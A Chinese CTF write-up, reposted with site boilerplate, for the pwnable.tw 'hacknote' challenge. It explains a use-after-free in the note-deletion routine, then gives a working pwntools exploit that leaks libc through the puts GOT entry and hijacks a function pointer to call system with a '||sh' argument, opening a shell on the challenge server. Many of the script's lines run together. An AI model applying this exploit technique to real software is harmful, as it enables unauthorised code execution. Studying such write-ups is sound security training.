本文主要是介绍pwnable.tw hacknote write up,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
程序分析:
程序有四个操作:
1.Add note
2.Delete note
3.Print note
4.Exit
1.Add note
在bss段中存放note的指针,每一个note 包含两个堆块,add的过程中第一个堆块的数据区的开始四字节存放调用puts的函数地址(0x804862b),随后四个字节存放后面存放content 的堆块的地址
2.Delete note
漏洞点发生在Delete 操作中,在调用free函数的过程中没有把free掉的指针置为NULL,造成指针悬挂,从而造成UAF漏洞
3.Print note
创建的堆的结构大致如下:
--------> 前一个堆块的大小或数据
--------> 当前堆块的大小
--------> 要调用的函数的地址
--------> 包含content的堆块的地址
--------> 填充内容
在0x804862b 处的函数中调用puts,然后将当前传入的参数+4 ,在进行寻址就可以访问到content的内容
漏洞利用:
先创建两个大小不为8 的note,假设编号依次为0, 1
然后再delete(1), delete(0)
之后addnote(8, payload),这个堆块编号为2
在这次add操作中 addnote函数中第一次malloc(8) 会重用到编号为0的堆块,指定size为8,会重用到编号为1的堆块,payload就是写入堆块1的数据
布置好数据后调用printnote(1),就可以泄露出libc的地址
之后只要再触发一次漏洞就可以getshell
要注意的是第二次触发漏洞的时候函数指针和函数参数都是ptr[v1],所以布置system函数的参数需要" addr_system||sh"的形式
system(“yahooo||sh”);
不影响getshell
EXP:
from pwn import *
import structcontext(os='linux', arch='i386', log_level='debug')
debug = 1
d = 1if debug == 0:p = process("./hacknote")if d == 1:context.terminal = ['tmux', 'splitw', '-h']gdb.attach(proc.pidof(p)[0])
else:p = remote("chall.pwnable.tw", 10102)def addnote(size, content):p.sendlineafter("Your choice :", "1")p.recvuntil("Note size :")p.sendline(str(size))p.recvuntil("Content :")p.sendline(content)def delete(index):p.sendlineafter("Your choice :", "2")p.recvuntil("Index :")p.sendline(str(index))def print_note(index):p.sendlineafter("Your choice :", "3")p.recvuntil("Index :")p.sendline(str(index))def exit():p.sendline("4")elf = ELF("./hacknote")
libc = ELF("./hnlibc_32.so.6")got_puts = elf.got['puts']
plt_puts = elf.plt['puts']
call_puts = 0x804862b
addnote(16, "pwn")addnote(32, "chunk")delete(1)delete(0)payload = p32(call_puts) + p32(got_puts) + 'a'*3
addnote(8, payload)print_note(1)
addr_puts = p.recvline()[:4]
print "addr_puts-> " + str(len(addr_puts))addr_puts = struct.unpack("<I", addr_puts)[0]print("addr_puts-> " + hex(addr_puts))libc_base = addr_puts - libc.symbols['puts']
addr_system = libc_base + libc.symbols['system']
binaddr = libc_base + libc.search("/bin/sh\0").next()addnote(48, "getshell")delete(3)delete(0)#payload = p32(addr_system) + p32(binaddr) + 'a'*3
addnote(8, flat([addr_system, "||sh"]))print_note(1)p.interactive()
结果:
这篇关于pwnable.tw hacknote write up的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!